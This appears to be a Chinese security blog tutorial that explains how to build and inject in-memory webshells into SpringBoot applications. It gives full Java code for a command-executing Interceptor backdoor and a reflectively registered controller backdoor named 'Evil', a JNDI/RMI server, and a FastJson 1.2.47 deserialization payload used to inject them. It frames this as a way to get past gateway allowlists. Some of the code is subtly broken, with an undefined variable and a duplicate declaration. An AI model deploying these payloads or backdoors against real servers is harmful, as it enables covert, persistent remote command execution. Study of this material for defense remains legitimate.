深入浅出内存马(二) 之SpringBoot内存马

0x01 前言
在上一篇文章中深入浅出内存马(一),我介绍了基于Tomcat的Filter内存马,不光是Filter 还有listener、servlet、controller 等不同形式的内存马。如今企业开发过程中,大部分使用的都是spring系列的框架进行开发,特别是SpringBoot,现在基本是企业开发的标配。所以探讨Spring系列下的内存马就显得非常必要了。
今天我们就来研究研究Spring Boot下的内存马实现。
0x02 需求
随着微服务部署技术的迭代演进,大型业务系统在到达真正的应用服务器的时候,会经过一些系列的网关,复杂均衡,防火墙。所以如果你新建的shell路由不在这些网关的白名单中,那么就很有可能无法访问到,在到达应用服务器之前就会被丢弃,我们该如何解决这个问题?
所以,在注入内存马的时候,就尽量不要用新建的路由,或者shell地址。最好是在访问正常的业务地址之前,就能执行我们的代码。
根据这个文章里面的说法基于内存 Webshell 的无文件攻击技术研究
在经过一番文档查阅和源码阅读后,发现可能有不止一种方法可以达到以上效果。其中通用的技术点主要有以下几个:
【深入浅出内存马(二) 之SpringBoot内存马】在不使用注解和修改配置文件的情况下,使用纯 java 代码来获得当前代码运行时的上下文环境;
在不使用注解和修改配置文件的情况下,使用纯 java 代码在上下文环境中手动注册一个 controller;
controller 中写入 Webshell 逻辑,达到和 Webshell 的 URL 进行交互回显的效果;
0x03 SpringBoot的生命周期
为了满足上面的需求,我们需要了解SpringBoot的生命周期,我们需要研究的是:一个请求到到应用层之前,需要经过那几个部分?是如何一步一步到到我们的Controller的?
我们用IDEA来搭建一个SpingBoot2 的环境
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访问地址:
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我们还是把断点打在

org.apache.catalina.core.ApplicationFilterChain

中的 internalDoFilter方法中
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可以看到整个执行流程
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这部分在上一篇文章中已经详细描述过,这里不在赘述。
但是这里不同的是在经过 Filter 层面处理后,就会进入熟悉的 spring-webmvc 组件
org.springframework.web.servlet.DispatcherServlet

类的 doDispatch 方法中。
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跟进去这个方法
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可以看到是遍历this.handlerMappings 这个迭代器中的mappergetHandler 方法处理Http中的request请求。
继续追踪,最终会调用到
org.springframework.web.servlet.handler.AbstractHandlerMapping

类的 getHandler 方法,并通过
getHandlerExecutionChain(handler, request)

方法返回 HandlerExecutionChain 类的实例。
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继续跟进getHandlerExecutionChain 方法,
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protected HandlerExecutionChain getHandlerExecutionChain(Object handler, HttpServletRequest request) { HandlerExecutionChain chain = handler instanceof HandlerExecutionChain ? (HandlerExecutionChain)handler : new HandlerExecutionChain(handler); Iterator var4 = this.adaptedInterceptors.iterator(); while(var4.hasNext()) { HandlerInterceptor interceptor = (HandlerInterceptor)var4.next(); if (interceptor instanceof MappedInterceptor) { MappedInterceptor mappedInterceptor = (MappedInterceptor)interceptor; if (mappedInterceptor.matches(request)) { chain.addInterceptor(mappedInterceptor.getInterceptor()); } } else { chain.addInterceptor(interceptor); } } //返回的是HandlerExecutonChain,这里包含了所有的拦截器 return chain; }

好了,现在我们知道程序在哪里加入的拦截器(interceptor)后,追踪到这行代码
if (!mappedHandler.applyPreHandle(processedRequest, response)) { return; }

跟进之后发现interceptor.preHandle(request, response, this.handler) 会遍历拦截器,并执行其preHandle方法。
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如果程序提前在调用的 Controller 上设置了 Aspect(切面),那么在正式调用 Controller 前实际上会先调用切面的代码,一定程度上也起到了 "拦截" 的效果。
那么总结一下,一个 request 发送到 spring 应用,大概会经过以下几个层面才会到达处理业务逻辑的 Controller 层:
HttpRequest --> Filter --> DispactherServlet --> Interceptor --> Aspect --> Controller

0x04 拦截器Interceptor 的理论探索
用 Interceptor 来拦截所有进入 Controller 的 http 请求理论上是可行的,接下来就是实现从代码层面动态注入一个 Interceptor 来达到 webshell 的效果。
可以通过继承 HandlerInterceptorAdapter 类或者HandlerInterceptor 类并重写其 preHandle 方法实现拦截。preHandle是请求执行前执行,preHandle 方法中写一些拦截的处理,比如下面,当请求参数中带 id 时进行拦截,并写入字符串 InterceptorTest OK! 到 response。
0x0401 模拟真实业务 真实业务,这里模拟一个登录场景,登录成功返回login success。
package com.evalshell.springboot.web; import com.evalshell.springboot.model.User; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; import javax.servlet.http.HttpServletRequest; @Controller @RequestMapping(value = "https://www.it610.com/user") public class UserCrotroller {@RequestMapping(value = "https://www.it610.com/login") public @ResponseBody Object login(HttpServletRequest request){ //简单模拟登录成功 //实体类User 我就不赘述了,就是有2个属性。并实现getter和setter 构造器方法 User user = new User(); user.setAge(18); user.setName("jack"); request.getSession().setAttribute("user", user); return "login success"; } }

0x0402 编写自定义的Interceptor
package com.evalshell.springboot.interceptor; import org.springframework.web.servlet.HandlerInterceptor; import org.springframework.web.servlet.ModelAndView; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; public class VulInterceptor implements HandlerInterceptor { @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String code = request.getParameter("code"); if(code != null){ try { java.io.PrintWriter writer = response.getWriter(); ProcessBuilder p; if(System.getProperty("os.name").toLowerCase().contains("win")){ p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code}); }else{ System.out.println(code); p = new ProcessBuilder(new String[]{"/bin/bash", "-c", code}); } builder.redirectErrorStream(true); Process p = builder.start(); BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream())); String result = r.readLine(); System.out.println(result); writer.println(result); writer.flush(); writer.close(); }catch (Exception e){ } return false; } return true; }@Override public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { HandlerInterceptor.super.postHandle(request, response, handler, modelAndView); }@Override public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { HandlerInterceptor.super.afterCompletion(request, response, handler, ex); } }

0x0403 注册拦截器 实现拦截器后还需要将拦截器注册到spring容器中,可以通过implements WebMvcConfigurer,覆盖其addInterceptors(InterceptorRegistry registry)方法
package com.evalshell.springboot.config; import com.evalshell.springboot.interceptor.VulInterceptor; import org.springframework.context.annotation.Configuration; import org.springframework.web.servlet.config.annotation.InterceptorRegistry; import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; @Configuration public class InterceptorConfig implements WebMvcConfigurer { @Override public void addInterceptors(InterceptorRegistry registry) { //这里是配置需要拦截的路由 String[] VulPathPatterns = {"/user/login"}; registry.addInterceptor(new VulInterceptor()).addPathPatterns(VulPathPatterns); } }

可以看到达到的效果是访问正常路由,不会影响正常业务。如果是带有code的参数会执行code里面的代码,从而突破网关的限制。
那么我们现在已经明白了如何在springboot中进行拦截,并执行我们的内存马,但是还是有一个问题,如何注入我们的内存马?
在这里根据landgrey大佬的思路:
spring boot 初始化过程中会往 org.springframework.context.support.LiveBeansView 类的 applicationContexts 属性中添加 org.springframework.boot.web.servlet.context.AnnotationConfigServletWebServerApplicationContext 类的对象。bean 实例名字是 requestMappingHandlerMapping 或者比较老版本的 DefaultAnnotationHandlerMapping 。那么获取 adaptedInterceptors 属性值就比较简单了:

org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping"); java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); field.setAccessible(true); java.util.ArrayList adaptedInterceptors = (java.util.ArrayList)field.get(abstractHandlerMapping);
我总结下就是:
-首先获取应用的上下文环境,也就是ApplicationContext
-然后从 ApplicationContext 中获取 AbstractHandlerMapping 实例(用于反射)
-反射获取 AbstractHandlerMapping类的 adaptedInterceptors字段
-通过 adaptedInterceptors注册拦截器
0x05 实战
为了方便搭建环境,我们采用FastJson 1.2.47的RCE来创造反序列化漏洞利用点,我们在pom.xml中配置好我们的依赖,
com.alibaba fastjson 1.2.47 org.springframework.boot spring-boot-starter-web

手动创建一个FastJson的利用点,因为在 JDK 18u191, 11.0.1之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,为了演示,我这里是用了JDK 18u102。
@Controller public class VulController {@RequestMapping(value = "https://www.it610.com/unserializer") @ResponseBody public String unserializer(@RequestParam String code){ JSON.parse(code); return "unserializer"; } }

创建RMI服务器
package com.evalshell.server; import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class JNDIServer { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("TouchFile", "com.evalshell.server.TouchFile","http://127.0.0.1:8083/"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("Exploit", referenceWrapper); } }

创建恶意代码
package com.evalshell.server; import java.lang.Runtime; import java.lang.Process; public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"open", "/System/Applications/Calculator.app"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }

启动JNDIServer,端口启动在了1099
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在TouchFile的编译后的类路径下,开启web服务,提供恶意类文件的http下载服务,这个端口必须和上面的JNDIServer中配置的一致。
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我们使用FastJson的Payload进行攻击
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://127.0.0.1:1099/TouchFile", "autoCommit":true } }

用postman请求,攻击成功的话,就会弹出计算器,表示可以执行任意命令。
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好的,上述已经搭建起一个Fastjson的漏洞环境。
使用上述方法编写拦截器内存马:
package com.evalshell.server; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping; import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class Evil { public Evil() throws Exception{ // 关于获取Context的方式有多种 WebApplicationContext context = (WebApplicationContext) RequestContextHolder. currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry"); method.setAccessible(true); // 通过反射获得该类的test方法 Method method2 = Evil.class.getMethod("test"); // 定义该controller的path PatternsRequestCondition url = new PatternsRequestCondition("/good"); // 定义允许访问的HTTP方法 RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); // 构造注册信息 RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); // 创建用于处理请求的对象,避免无限循环使用另一个构造方法 Evil injectToController = new Evil("aaa"); // 将该controller注册到Spring容器 mappingHandlerMapping.registerMapping(info, injectToController, method2); }private Evil(String aaa) { }public void test() throws IOException { // 获取请求 HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); // 获取请求的参数cmd并执行 // 类似于PHP的system($_GET["cmd"]) Runtime.getRuntime().exec(request.getParameter("cmd")); }}

同时修改JNDIServer类中的代码

Reference reference = new Reference("VulClass", "com.evalshell.server.VulClass","http://127.0.0.1:8083/");

替换成
Reference reference = new Reference("Evil","com.evalshell.server.Evil","http://127.0.0.1:8083/");

最后演示一下,使用fastjson RCE进行攻击并动态写入我们的内存马
至此,我们已经完成SpringBoot下的无文件内存马的实现!
0x06 参考
https://landgrey.me/blog/19/
https://www.anquanke.com/post...
https://evalshell.com/

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